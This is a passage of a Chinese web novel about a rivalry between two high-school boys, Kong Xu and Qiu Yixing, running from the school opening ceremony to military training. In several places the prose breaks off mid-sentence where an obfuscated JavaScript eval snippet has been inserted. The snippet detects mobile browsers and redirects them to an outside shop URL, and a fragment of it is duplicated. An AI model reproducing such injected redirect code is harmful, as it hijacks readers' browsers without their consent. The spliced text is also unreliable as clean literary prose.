孔栩没来得及反应,手腕被邱以星滚烫的手心握住,连带着全身的骨头、肌肉大幅度朝右边转向。 邱以星拽着他跑了起来,孔栩惊愕地睁大眼,微微张开的嘴灌满了夜晚凉爽的风。 孔栩才恍然察觉,夏天来了。 他只能看到邱以星的侧脸,他高挺的鼻梁,柔软的唇线和微微上翘的嘴角,随后他们冲进暗巷,光芒被隔绝在外,视线一片漆黑,孔栩什么都看不见了,他们仍旧大步地往前跑,暗巷中只有他们一致的脚步与粗重的喘息声。 他们是纷乱喧哗世界的过客,掌心紧紧扣在一起,逃向平静安全的无风地带。 孔栩跑得上气不接下气,这感觉清晰而熟悉,他几乎是立刻回忆起很多年前,他们也曾这样没命地狂奔过,当时他还对邱以星说了什么。 说了……什么呢? 狂风卷起无数记忆的碎片,其中一片吹至他眼前。 他想起当时他说:“……邱以星,我们这样像不像私奔啊?” 4. 第 4 章 岚江市,九月一日,上午六时四十九分。 三十七路公交车穿过气势恢宏的岚江大桥,平稳地行驶在大马路上,岚江的绿化一直为人称道,虽已入秋,夏日余威仍在,道路两旁是高大的悬铃木与银杏、香樟,绿意苍苍,路中央的绿化带长满了粉色月季和各种颜色的雏菊,一派灿然生机。 孔栩穿着一套崭新的灰蓝色校服,左边胸口位置绣着岚江市一中标志性的钟楼建筑徽章。他戴着蓝牙耳机,正闭目回顾昨晚弹奏的波兰舞曲《英雄》,手指有节奏地在膝盖上轻轻弹动,过了片刻,他睁开眼睛,小声呼出一口气。 昨夜下了一场小雨,地上湿漉漉的,黏着粉色的落花,孔栩就盯着那些落花,额头抵在车窗玻璃上发愣。 这会儿车上除了孔栩没有旁人,司机师傅忍不住笑眯眯开口说:“一中今天开学啦?” 孔栩回头张望,发现他是在跟自己说话,便点点头:“嗯。” “你一人坐公交,爸妈不送吗?”能进一中的小孩学习成绩绝对是拔尖水平,家里人个个都当做宝贝,开学第一天绝大多数家长都是亲自送孩子去学校,司机师傅有些纳闷。 孔栩扯了下嘴角:“她忙,没时间。” 孔栩想到这,心里便一阵失落,又经过一站,陆续有人上车,有散发着青春气的学生,也有面如土灰的上班族,孔栩见到几个跟他穿同样校服的学生,不知是否同他一样是新生。 七八分钟后,公交车播报“岚江市一中到了,请要下车的乘客携带好个人物品,从后门有秩序下车”,孔栩便跟司机师傅打了个招呼,背上书包,走向后门。 他走在人群最后,一只脚还没落地,眼前一道灰蓝色的身影如鹰隼般迅疾掠过,他避之不及,直接踩空,重重摔倒在地。 罪魁祸首穿着一中夏季校服,脚踩一辆极为骚包的烟紫色山地自行车,左肩挂书包,右肩挎黑色吉他包,没事人似的绝尘而去。 孔栩死死盯着这人书包上挂着的炸毛狮子小挂件,感觉自己距离炸毛也不远了。 比疼痛更加难以忍受的是校服压在了地上,干净的衣服立即被地上残留的雨水染上一片污迹,孔栩连忙爬起来,强忍着狂躁一瘸一拐地走到站台,抽出纸巾吸干衣服上的水迹,他磨磨蹭蹭擦了好半天,校服衣摆终于半干。 可灰黑色的脏根本擦不掉,即便只有指甲盖大小,也令孔栩如芒刺背,难以忍受。 他抬头望着天空,心想,要不回家洗个澡再过来,顺便换套衣服。 可今天是开学第一天,何斯清不会允许他第一天上学就迟到。 果不其然,何斯清的短信过来了:你怎么还没到?直接来文化厅。 孔栩回复:知道了。 今天不仅是开学第一天,也是孔栩作为优秀新生在高一全体师生面前进行发言的日子,发言结束会有表演,他要弹奏肖邦的波兰舞曲《英雄》。 曲子已经提前练习过无数遍,他闭着眼睛也能完美弹奏,可他此刻哪有演奏的心情,整个人从里到外憋着一股没地发泄的火。 一中校文化厅之大,可以容纳两千人,新生正陆陆续续地入场,好奇地跟新同学谈论新学校的见闻。 孔栩来到后台,看见何斯清正和一位老师说话,余光瞥到他,原本带笑的面孔突然板起,眉心紧紧蹙成一团:“你看看现在几点了!” 孔栩:“七点半。” 何斯清见他一脸无所谓的态度,顿时气不打一处来:“孔栩,我昨晚还在家跟你说今天开学典礼要早点来彩排,你当耳旁风了?这都几点了,所有人都在等你,你有没有时间观念?你就是这么当新生代表的?” 孔栩默不作声。 站在旁边的老师来打圆场:“何老师,孔栩他没迟到,练了那么多次,少一次彩排也不要紧,你儿子这么懂事,肯定心里有数。” 何斯清面色便稍微缓和一点,她拍了拍孔栩的肩膀:“去准备吧,校长就坐在台下,不要让我失望。” 孔栩点点头,“嗯”了一声。 孔栩能作为新生代表,一方面是他成绩优异,中考分数位列年级前三,另一方面他并非是只会读书的书呆子,四岁开始学钢琴,六岁师从钢琴大师易姝心,拿了许多国内外的大奖,是个文化与艺术兼修的“天才少年”。 可孔栩知道,不单单如此,作为教师子女,他无形中获得了比其他同学更得天独厚的隐形优待。 他记事以来何斯清便带着他在一中校园的大操场散步,连谱子都不认识的年纪便立志要考一中,何斯清忙起来没空带他,就把他往学校的琴房一扔,他认识这里所有任教的老师,熬走了两位校长,如今这位校长已是第三位,对孔栩的印象一如他表现出来的那样,低调而优秀。 孔栩在台上如同精致的小木偶一样诵读新生入学发言,他提前一周开始准备,全程脱稿,即使语调没有丝毫感情,从外表看也是声情并茂的模样。 台下每个区域都贴了指示牌,高一二班坐在文化厅靠前的位置,有个戴圆眼镜的女孩捅了捅坐在她旁边的人,满是钦羡地说:“原来他就是孔栩啊,听说他举办了很多场个人独奏会,以后是奔着音乐大师去的,没想到长得还这么好看,更没想到我能跟他一个班。” “你俗不俗气,”圆眼镜旁边是个瘦瘦的男生,撇嘴说,“他这样的人长得好看不过是点缀而已,不过我没想到他成绩竟然也很不赖,看来老天爷的确不公,不仅克扣了我的长相,还克扣了我的智商。” 圆眼镜低声笑道:“齐大彬,你别逗了行不行?人家有天分是一方面,更多的是比常人要努力。” 齐大彬嗤之以鼻,不料胳膊又被碰了一下,圆眼镜把声音压得更低,说:“诶,你看到你左手边的那个人了没?” “看到了,你花痴病犯了是不是?” “他是气象台的吉他手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016781|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是搞音乐的,叫邱以星。”圆眼镜说,“咱们班热闹了,以后文艺汇演肯定能在全校大放异彩。” “气象台怎么搞音乐?”齐大彬不明白了。 “你怎么连这都不知道,‘气象台’是个乐队,”圆眼镜说,“成天就知道学习,偶尔也看看外面的世界好吗?” 邱以星没听到他们的这番对话,他靠着舒服的椅背,光明正大地闭着双眼,在孔栩动听而无聊的发言声中睡着了。 他是被一阵震耳欲聋的钢琴音吵醒的,邱以星诧异地睁开眼,看见台下不知何时多了一架三角钢琴。 邱以星知道历来开学典礼都会有表演,却不知道有人能把《玛丽有只小羊羔》弹得如此富有激情,他一共弹了三遍,一遍比一遍狂躁,好似玛丽得了羊癫疯,正在对一群小羊羔进行惨无人道的屠杀。 见到此景,他愣了一瞬,紧接着一阵剧烈的疼痛袭来,他猛地按住太阳穴,屏住呼吸,疼痛一直持续到台下的那位结束弹奏。 邱以星疼得额角冒汗,旁边的齐大彬不明所以率先鼓起掌,他说:“原来这就是肖邦的《英雄》,真令人热血沸腾,干劲满满。” 圆眼镜抿着嘴唇,面露不解地说:“不是,孔栩换掉了表演曲目。” 台下的学生中其中不乏懂音乐的人,面上都一阵茫然,尤其是何斯清,她的脸色煞白一片,校长还乐呵呵地对她说:“孔栩这孩子,弹琴可真有劲啊。” 何斯清扯出一个难看的笑容:“呃……嗯。” 表演完,孔栩不等何斯清过来骂他,拎着书包直接回到班级。 座位还没排,孔栩将书包放在第一组最后一排,然后去厕所搓他衣摆上的那点脏。他已经忍到临界点,再不弄干净,他就旷课,回家洗澡。 他把手指搓得通红,那一点脏淡了许多,衣摆也变得湿漉漉,他用力拧到半干。 孔栩冷脸看了半晌,仍是不满意,衣服变得皱巴巴,像是被无数人用力踩过的废弃草稿纸。 烦躁值已达巅峰,他希望此刻世界上所有的声音都消失,又想找个没人的地方不管不顾地狂弹钢琴。 烦得要死。 何斯清打来的电话被他拒绝,又发来无数条语音消息,每一条都是60秒,他一条都没读,沿着最下方的消息依次往上删,删得干干净净后,他觉得心情好了那么一点,决定再忍受几小时,中午回家换衣服。 他离开厕所,往教室的方向走。 开学典礼已经结束,班主任正带领自己班级的学生回教室,他漠然地跟在人流中,眼角一跳,看见前方出现了一只炸毛小狮子,正挂在一个黑色书包上,左摇右晃。 丑到极致的土黄色,搭配一只又大又塌的鼻子,正朝孔栩露出一个挑衅般的大笑。 孔栩额角的青筋狂跳,默不作声地跟了上去。 这人走进教室,孔栩仰头一看班级牌。 高一二班。 5. 第 5 章 毕竟是开学第一天,开学典礼结束已经九点钟,剩余时间柴晓驰先是根据身高排了座位表,班里总共四十八人,每组每周平移一次,他打算安排孔栩到前三排,孔栩自觉自己身高不合适,便轻轻摇头。 柴晓驰自然认识孔栩,不需要何斯清跟他打招呼,孔栩给自己随意指了个后面的位置,柴晓驰心说坐前面坐后面对他们这些尖子生来说没区别,便也由着他去。 孔栩同桌是个大嗓门女孩,叫做罗鸣玉。说什么悄悄话都跟公放似的,孔栩不乐意跟她说话。他前桌则是一个挂着炸毛狮子挂件的男生,孔栩盯着他后脑的两个发旋眯了眯眼睛。 随后是发新书与课表,新书散出一股淡淡的油墨味,教室里飘满了书香气。 发完书,柴晓驰便简单介绍了一下自己,他教数学,也是他们二班班主任。他看上去年近四十,好在头发浓密,看上去并不显老,严肃时不苟言笑的模样足够唬人,大家都认真听他讲话。 他说了一些大家要团结向上、积极进取、高中是关键中的关键之类的车轱辘话,又说下周一班会课上竞选班干部,想要竞选的同学可以先写一分钟以内的竞选稿,做个PPT之类,尽管发挥自己的十八般武艺,这一周时间他也会暗中观察,哪些同学表现好,他会加分。 以及军训安排在下周周二至周六,地点在本校,连续五天,让他们提前做好准备。 此话一出,大家都隐隐兴奋起来,罗鸣玉兴致勃勃地对孔栩说:“你打算竞选什么职位?” 孔栩摇头:“我不竞选。” 罗鸣玉有些惊讶:“为什么,你成绩那么好,完全可以竞选班长和学委。” 孔栩:“我不会管人。” 他话音一落,坐他前面的男生突然短促地笑了一声。 孔栩拧起眉毛,罗鸣玉自来熟地一拍斜前方男生肩膀:“邱以星,你笑什么?你成绩年级排前十,也能发挥带头作用,督促班级同学进步啊。” 名叫邱以星的男生这才偏过脸,他淡淡吐出两个字:“我没空。” 罗鸣玉无语至极:“切,才高一,又不是多大的官,能忙到哪里去。” 邱以星的同桌叫做闻旋,也就是那位戴圆眼镜的女孩,她转头对罗鸣玉说:“他忙着搞乐队。” 又双手合十对邱以星谄媚说:“未来的大明星,能不能给我签个名,等你红了我再卖出去。” 孔栩听到这才多看邱以星一眼,先是从他搭在椅子上的手臂继而扫到他的侧脸。 邱以星笑意盈了满眼,对闻旋说:“我给你签一沓,好不好?” 闻旋忙不迭点头:“好啊好啊。” 邱以星几乎在瞬间收回笑容,他的眼睛黑沉沉的,嘴角平直,语调显得讥诮:“好什么好,你们这种小女生别人说什么都信,难怪总是被人骗。” 闻旋不理解他这是什么意思,表情呆愣愣的,“啊”了一声。 孔栩在心里翻了个巨大白眼,好贱,全班最贱。 “你怎么好意思说闻旋,”罗鸣玉嗓音大喇叭似的吼回去,“人好心给你捧场,你真当自己是大歌星大偶像啦?你当代王羲之写仨字能发家致富啊?没牌硬耍,装货。” 邱以星吃了个大瘪,忍了忍,回过身,不再说话了。 孔栩心里那叫一个舒坦,跟大嗓门做同桌也挺好。 放学铃一响,同学们鱼贯而出教室,孔栩背上书包也打算离开,却被柴晓驰叫住。 “柴老师,”孔栩不解,“有事吗?” 柴晓驰推了推眼镜,问他:“我们一起走,你妈妈给我发消息,说让你等她。” 何斯清逮不到孔栩人,便采用迂回路线找了柴晓驰。 孔栩紧紧抿着嘴唇,心想他真是看错柴晓驰,上学第一天就被他给出卖。 没出教室两步,看到何斯清气势汹汹等在楼梯口,两眼喷火,恨不得一口把孔栩吞了。 柴晓驰看见这架势,不由得皱起眉,对何斯清笑了笑:“这是怎么了,发这么大火?” 孔栩面无表情地直视何斯清,喊了一声:“妈。” 何斯清见有外人,不好发作,对柴晓驰寒暄了两句,孔栩便说:“我去吃饭了。” “你去车上等我!”何斯清恶狠狠地瞪了他一眼,孔栩装没看见,自然也不会去坐她的车,回家肯定要挨一顿臭骂,他脚步一转径直去了食堂,开学前他刚往饭卡里充了两百。 食堂空阔,来吃饭的人并不多,大多都是家里人比较忙顾不上做午饭的同学,以及节省午休时间的老师。 孔栩端着餐盘,他从小就跟着何斯清来食堂吃饭,驾轻就熟,点了几样自己喜欢吃的菜,跟认识的老师打过招呼,选了个安静的角落,坐下慢慢吃。 然后他面前落下两道阴影,他抬头,是闻旋和罗鸣玉。 闻旋朝他笑笑:“你怎么一个人?我们一起吧。” 罗鸣玉热情地接道:“没错,一个人好孤单的。” 孔栩并不觉得有什么孤单的,更不会因为多一个人陪他吃饭而多吃两口,他没有反驳,只是将自己餐盘往后拖动几厘米,以便她们放下餐盘。 他继续默默吃着回锅肉,闻旋这时开口说:“你今天开学典礼上,为什么要临时换曲子?” 孔栩把嘴里的食物咀嚼干净,然后说:“我就是想试一试。” 罗鸣玉好奇地问:“试什么?” “试试我如果不按照他们说的做,会有什么后果。” 闻旋紧张地问:“有什么后果?被骂了吗?” 孔栩平静回答:“没有,也就那样。” 没弹肖邦,弹了一支他改编之后与原曲大相径庭的儿歌,无视所有人对开学典礼的认真付出,事后回想起来,发觉这并不是一件多么畅快的事。 时间越久,他想得便越清楚,自己的行径太幼稚,好似在报复何斯清,实则从侧面证明何斯清指责他的那些话并非无中生有。 他感到一丝难堪,闻旋却朝他竖起一个大拇指:“你真太牛了,虽然是儿歌,弹得跟世界名曲似的,他们都没听出来。轮到校长发言,他还夸你了。” 孔栩嘴角抽动两下:“是吗?” “没错,”罗鸣玉说,“他说你气质好,是一中学子的榜样。我看也是,你比那个邱以星好太多了,不就是组了个乐队么,拽得跟二五八万似的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016782|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻旋扯了一下罗鸣玉:“也别这么说吧。” “我这么说怎么了,当面我也这么说。”罗鸣玉忿忿道,“你看看他把眼睛装头顶的嘴脸,有什么了不得的?” “你是不关注这一块,”闻旋说,“气象台真的挺火,参加过音乐节,他还是最有人气的那个,弹吉他的时候简直帅呆了,不论男孩还是女孩都给他递过情书,比常人骄傲一点也正常。” 罗鸣玉哼了一声,说:“你别帮他说好话,孔栩不也厉害吗?怎么不像他那样,我看他就是欠的。” 孔栩面上不说话,内心颇为赞同。 吃完饭,孔栩先端走餐盘,说自己要溜达一圈消消食,闻旋和罗鸣玉便跟他挥手拜拜。 走到食堂门口,孔栩肩膀突然被人撞了一下,撞击的力度不大,孔栩却觉得来人不怀好意,果不其然,孔栩望见了那张熟悉又欠揍的面孔。 “哟,又见面了,”邱以星微微笑起来,“吃过啦?” 孔栩没理会他的问候,冷冰冰地说:“撞到人要先说‘对不起’。” 邱以星无所谓地说:“哦,对不起,撞疼你了是不是,要不要我扶你去医务室?不行我带你去三甲医院做个核磁共振怎么样?大音乐家的手最宝贵了,可千万不能伤到,不然我就成罪人了。” 孔栩阴着脸,不欲跟他逞口舌之辩,扭头便走。 邱以星在他背后嗤笑一声,孔栩的脸色变得更加难看。 孔栩暗自给邱以星换了封号:天下第一贱。 学校里有一条开满花的长廊,早晨会有学生在那背书,中午倒没什么人了,孔栩来回走了一圈,寻思片刻,回到教室,拿出一把美工刀。 这天下午风平浪静,无事发生,大家都认真听讲,能考进一中的学生基础都不赖,有上进心,柴晓驰在语文课上到一半时来巡视,点点头,觉得一切良好,是个积极昂扬的班级。 一中没有晚自习的传统,下午五点半放学,孔栩在公交站等车,继续无视何斯清的电话与短信,他看到邱以星骑着一辆烟紫色的山地车,飞行一般从人群中掠过。 有人认出孔栩,跟他打招呼,孔栩便应了一声,眼角露出一丝神秘莫测的笑意。 翌日上午第一节课过三分钟,邱以星气喘吁吁地半弯着腰,对柴晓驰喊了一声“报告”。 罗鸣玉小声对孔栩说:“哼,第二天就迟到,我要是纪律委员,铁定给他扣分。” 孔栩低声:“那我选你当纪律委员。” 看邱以星这么狼狈,柴晓驰便没批评,只让他明天早点起床,下不为例,不然就得当值日生,打扫教室。 邱以星回到自己座位,拿出数学书,闻旋关心地问了一句:“怎么回事?” “我车胎爆了。”邱以星咬牙启齿地攥起拳头,“骑到半路没气了,我临时找了一家修车铺,跑着来的。” 邱以星静下心来一想,不应该啊,那辆车他一直好好保养,每天擦一遍,上下学的道路平顺不颠簸,车胎也新换过,没道理开学第二天就爆了,是不是有人动过什么手脚? 柴晓驰打断他的猜测:“好,同学们安静,我们今天开始上新课……” 6. 第 6 章 邱以星没有听课的心情,越想越觉得蹊跷,可他没有证据。 车棚那边确实有监控,可要拿到监控需要家长和班主任签字,麻烦不说,闹得太大对他自己也没好处。 昨晚骑回家时没注意到有什么异样,今早骑到三分之一发现车胎瘪了,邱以星想,车在学校应该就被人动了手脚,只是戳出来的口子太小,气一时间没漏,等他骑了一会儿,经过摩擦才将口子磨破磨大,经过一整晚,轮胎自然越来越瘪。 这谁干的,真无耻。 邱以星气得牙痒。 一整天孔栩是人逢喜事精神爽,对谁都笑脸相迎,让邱以星心里升起一个无端的猜测。 可孔栩表现出来那么无辜,光看他一副纯良无害的长相,实在不能将他与私下戳人轮胎的恶劣行径联系到一起,邱以星没证据,只好自认倒霉,同时在心里给孔栩狠狠记上一笔,等待合适的时机予以反击。 就这样,两人之间默契而无声的战役拉开了序幕。 课堂上,但凡孔栩举手回答问题,邱以星一定会找出第二种更加简单的解法,邱以星朗读英文课文,孔栩势必当众再朗读一遍,纠正邱以星距离完美还差上一截的发音。 罗鸣玉注意到,两人这是杠上了。 比做题速度就算了,值日也要比谁黑板擦得一粒粉笔灰都没有。 柴晓驰自然也注意到这个情况,但对他来说两人属于良性竞争,能带动周围同学进步,帮助建设积极向上的良好班风,何乐不为呢。 以及据他对孔栩的了解,一天二十四小时,孔栩能花十八个小时弹琴,有人能转移他的注意力,做点符合青少年的事也挺好。 两人针锋相对,一直持续到第二周班委竞选。不少同学制作了精美的PPT,全方位展现自己课内外的优秀,孔栩在座位上兴趣缺缺,心里已经有了班长与纪律委员的人选。 闻旋当班长最合适不过,她为人和善,成绩优异,和邱以星这种贱人当同桌也毫无怨言,想必一定能担当忍辱负重的大任。罗鸣玉当纪律委员,原因无他,罗鸣玉嗓门大,吼声能镇住整个班,以及她和孔栩同仇敌忾,都看邱以星不顺眼,能让邱以星不爽快的事他都愿意尝试。 最后一位女生发言完毕,柴晓驰看了一眼孔栩,问还有没有同学想为班级贡献自己的一份力量,无人回应,这时邱以星举手了:“老师,我想要推荐一位同学。” 孔栩眼角一跳,感觉非常不妙。 柴晓驰点头,让他站起来发言。 “我觉得咱们二班是个特别优秀的班集体,这要归功于每一位既脚踏实地又有远大志向的同学。尤其是孔栩同学,我一直对他心怀崇拜,不但成绩好,钢琴也弹得特别棒,孔栩同学在班里为人处世低调不张扬,大家都看在眼里记在心里。”邱以星把孔栩一通夸,引得不少同学的点头认同。 罗鸣玉小声说:“嘿,你俩还杠出感情来了?” 孔栩脸色青红交加,被邱以星恶心得快吐了。 柴晓驰:“所以你要推荐他担任什么职务?” 邱以星越发慷慨激昂:“孔栩他做事细心周到,从不迟到早退,只要他值日,黑板永远一尘不染,地面一片纸屑都没有,堪比劳模。所以我举荐孔栩在他擅长的领域发光发热,当劳动委员。我想,孔栩同学如此热爱我们这个大家庭,一定会不负众望,拿到每月的流动红旗与文明班级称号。” 竞选劳动委员的齐大彬张大嘴巴:就没我事了呗? 孔栩闭上眼,深深地呼吸。内心大骂,贱人。 柴晓驰笑了笑,说:“你说的没错,不过孔栩同学没有参加竞选,你得考虑一下孔栩的意愿。” 齐大彬紧张地看向孔栩,只见孔栩也站起身,他嘴角抽搐了两下,强行挤出一个笑容来,冠冕堂皇地说:“感谢邱以星同学对我的支持,我一定不会辜负他对我的信任,这次劳动委员的竞选我愿意参加。我深知这是一次来之不易的锻炼机会,作为高中生,学习是我们的本分,同时也不能忘记劳动,邱以星同学向来有服务班集体的意识,所以我建议劳动委员设置一正一副两个岗位,让他也获得充分的锻炼。” 柴晓驰笑吟吟地问邱以星:“邱以星同学,你觉得孔栩的建议怎么样?” “很、好。”邱以星低下头,怕柴晓驰看见自己狰狞的面孔。 柴晓驰便说:“那好,本次竞选劳动委员的同学有三位,分别是齐大彬、孔栩与邱以星。” 接下来是投票环节,闻旋与罗鸣玉如意地当上班长与纪委,孔栩与邱以星则分别成为正劳动委员与副劳动委员。 真正的杀敌一千自损八百。 大家知道他俩不对付,又存了看热闹的心思,选票几乎集中在他俩那。 只有齐大彬欲哭无泪。 第二节是体育课,其他同学上体育课,班委们留下去拿军训服装。 孔栩面沉如水,经过邱以星时,重重撞了一下邱以星的肩膀,然后他扭头装作对邱以星很是抱歉的样子说:“真对不起,我没看见你。” 那么一大活人杵在他面前,孔栩睁眼说瞎话说没看见,邱以星也不好当众甩他脸子,手臂很热络地搭在孔栩肩膀,跟他像是异父异母的亲生兄弟似的:“我怎么会怪你呢孔栩同学,多谢孔栩同学的直言推荐,让我也有机会体验当班干,真是太谢谢你了。” 孔栩同样绽开一个完美的假笑:“别这么客气,都是同学,应该的。” 拿回军训服装,大家直接在班里换上,尺码不合适的可以马上更换。 孔栩的衣服和裤子都短了一截,帽子也勒,没想到过了一个暑假他整个人的尺码大了一号,正巧罗鸣玉拿了大一码的衣服,也不适合,索性和孔栩互换。 军训服装没有男女之分,孔栩把衣服装进书包,看见邱以星也收拾好了。 孔栩叮嘱罗鸣玉不要离开座位,也别让其他人尤其是邱以星碰他的书包。 罗鸣玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016783|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知他此举何意,但也点点头:“好的。” 放学后,两位劳动委员与当天值日的同学留下来值日。 孔栩每天的时间是严格分配过的,他从没自认是天才,他只是比其他人要更加勤奋。 他还不会走路的时候,何斯清就开始教他拼音,出去玩也一直手不离书,考他加减乘除与古诗词,稍微大一点开始学钢琴,每天从清晨练到半夜,那时他是渴望得到大人夸奖的小孩,何斯清却格外吝惜对他的赞扬。 孔栩只好一直努力,一直努力,他总以为只要努力就可以获得想要的东西。指甲盖弹得翘起脱落,他丝毫没有察觉。幼儿园的时候他已经学完小学大半的语数英课程,刻苦练琴也有了成果,让何斯清紧皱的眉头终于舒展开,朝他露出一个少见的笑容。 从小学开始,孔栩没有一天是自由的。他永远在练琴,不练琴的时候就在学习,学的已经是初中内容了,他的手指还太小,暂时弹不了难度太高的曲子,何斯清便每晚给他按摩,拉长他的手指。 他一边痛,一边快乐。 他没有朋友。初中有人建了个同学群,拉他进去,他推脱自己没有手机,后来有了手机,一连几天都打开不了一次,他没有任何社交账号,与任何同学都无法建立长期友谊,他不需要,也不在乎,更没有产生过孤独这种莫名其妙的感受。 孤独只有无聊的人才会有,他太忙碌,没有时间感受孤独。 他对竞选班委丝毫不感兴趣,一来是他的心思永远放在自己身上,二来是懒得跟其他人交流。他想成为一个普通的学生,只服从管理,不用动脑出谋划策。 邱以星的出现将他的计划全打乱了,当了劳动委员,又苦又累不说,还要监督他人打扫卫生是否合格,一天下来至少要多花费出去二十分钟,孔栩为自己的一时冲动感到后悔,邱以星总是带着笑的模样令他倍感恼火。 孔栩用湿抹布将四块黑板擦得纤尘不染,宛如刚出厂般洁净,又将讲台和窗台擦过,洗干净抹布,平铺在窗台晾干。每一组地面都清扫完毕,孔栩让值日的同学离开,邱以星叼着一根棒棒糖,含糊不清地对他说:“我也能走了吧?” “可以了。”孔栩说,忽然他脚步一顿,看见教室后方的垃圾桶满了,于是他说,“你能不能帮忙把垃圾桶倒了。” 邱以星的视线从孔栩脸上划过,他坐在自己的课桌上,两腿一伸,站起身,去倒垃圾。 他什么活都没干,孔栩至少擦了黑板,邱以星要求说:“那你等我回来,和我一起走。” 孔栩很不耐烦:“知道了。” 孔栩转身去给垃圾桶套垃圾袋,等邱以星走后,他站在邱以星的桌边,低头望着他的书包。 邱以星丢完垃圾回来后,看见孔栩面无表情,正倚着门等他,邱以星随口说了句:“真等我呢,好乖。” 孔栩冷淡地瞥了他一眼,不作回应。 心想,希望明天你也能笑得这么开怀。 7. 第 7 章 军训时间跟平时上学作息一致,孔栩昨晚一回家就将迷彩服洗好烘干,并里里外外地熨烫过,他穿上之后整个人显得精神许多。 早上何斯清说开车送他,孔栩说自己有公交卡,何斯清便关门走了。 孔栩不坐何斯清的车,源自于他们发生过的一次激烈争吵。 那天孔栩正参加一场钢琴比赛,何斯清在他下台后说他弹错了一个音,发挥得很不好,一定是平时没有好好练琴。 孔栩心情糟糕透顶,回了何斯清两句,何斯清便说:“孔栩你长这么大,也懂懂事行吗?你要比赛,我提前几天就开始睡不好,给你选衣服,不管多远都要亲自送你,我到现在一口水都没喝,我这么辛苦到底是为了谁?” “我以后会自己选衣服,自己来比赛场地,”孔栩说,“不会让你继续送,你可以在家多睡几小时,好好吃完一顿早饭。” 自那天起,他们母子俩之间的关系便在下坡路上越走越远。 孔栩性格偏执倔强,错了一个音,要练习几百几千遍,闭着眼睛弹也不会再出错。 他要是对一个人心生怨怼,不管那人做什么,他都不原谅,哪怕那个人是他亲妈。 他心里有一本小账单,之前记着满满当当的何斯清,等他以后工作了,就把何斯清说的那些“付出”全部以金钱的方式等量还给她。 军训第一天,大家都显得格外激动,穿戴得整整齐齐,早早来到班级,仿佛一棵棵碧绿挺拔的小树苗。 罗鸣玉和闻旋在讨论防晒霜的牌子,问孔栩有没有涂,孔栩说没有,罗鸣玉便往他掌心倒了什么防晒小金瓶,期待地对他说:“快抹,别以为自己长得白就不会被晒黑。” 孔栩“哦”了一声,望着掌心白乎乎的一摊稀水,有些犹豫不决,罗鸣玉嗓门一吼:“又不是毒药,搞快点!” 闻旋见孔栩吸了一口气,下定什么决心似的往脸上抹,他没有镜子,抹得丝毫不均匀,两个女孩笑作一团,又帮他抹匀,孔栩说了一声“谢谢”。 柴晓驰和教官一起到班里,教官先在班里讲了一些军训注意事项,然后带着大家下楼去操场。 一中虽有好几个操场,不过这次军训所有班级都在大操场训练,他们下去的时候,操场上已经有班级了,教官带领他们选了一块有阴凉的地方,练习站立。 好死不死,孔栩和邱以星身高差不多,被教官分到站在一起。 邱以星动了动嘴唇:“真有缘。” 孔栩难得给了他一个笑脸:“是挺有缘。” 邱以星愣了一下,孔栩转过脸不再跟他废话。 柴晓驰也跟着下来了,他坐在折叠凳上,开始吃早饭。 军姿一站就是半小时,太阳也升了起来,阴凉没了,柴晓驰搬着折叠凳重新找了一处阴凉,拿出手机对着他们咔咔一通拍,打算上传班级群。 这帮娇生惯养的孩子平时一坐能连续坐四十五分钟,从来没挺直脊背一动不动站过十分钟以上。半小时,简直比要他们命还难受。 果不其然,十分钟后就有人情不自禁地晃动,教官扯嗓点了几个人,说如果还有人动来动去,全体再加十分钟。 孔栩把自己想象成是一片无风地带的叶子,全身心地放空自己,既感觉不到时间的流逝,也察觉不到身体的疲惫痛苦。 而邱以星与孔栩正相反,他觉得浑身上下都有蚂蚁在爬,头又开始疼了。 疼痛来得毫无预兆,眼前划过很多乱七八糟的场景,令他难以喘息。 于是他抬手使劲拍了拍自己的脑门,完全忘记军姿还剩几分钟,他们就可以原地解散,休息一会儿。 果不其然,教官喊道:“第一排第三位那个男生!出列!” 邱以星往前走了两步:“报告!我不是故意的,我头疼!” 教官眯眼从头到脚打量了一番邱以星,大小伙子长得比他还高,看着也正常得很,他问:“现在还疼吗?” “好一点了。” “归队!”教官毫不留情,“全体加十分钟!” 大家敢怒不敢言,硬生生又多站了十分钟,休息的时候一个个就地躺倒,实在不愿再动。 闻旋对邱以星说:“怎么突然头痛?要不跟柴老师说一声,你休息会儿吧。” 邱以星摇头:“没事,老毛病。” 孔栩摘了帽子,一边扇风一边喝水,邱以星个不长眼的非要坐在他旁边,冒了一句:“也帮我扇扇。” “滚蛋。”孔栩翻了个白眼。 邱以星对这个回答并不意外,不多做纠缠,在孔栩腿边躺下,帽子往自己脸上一盖。 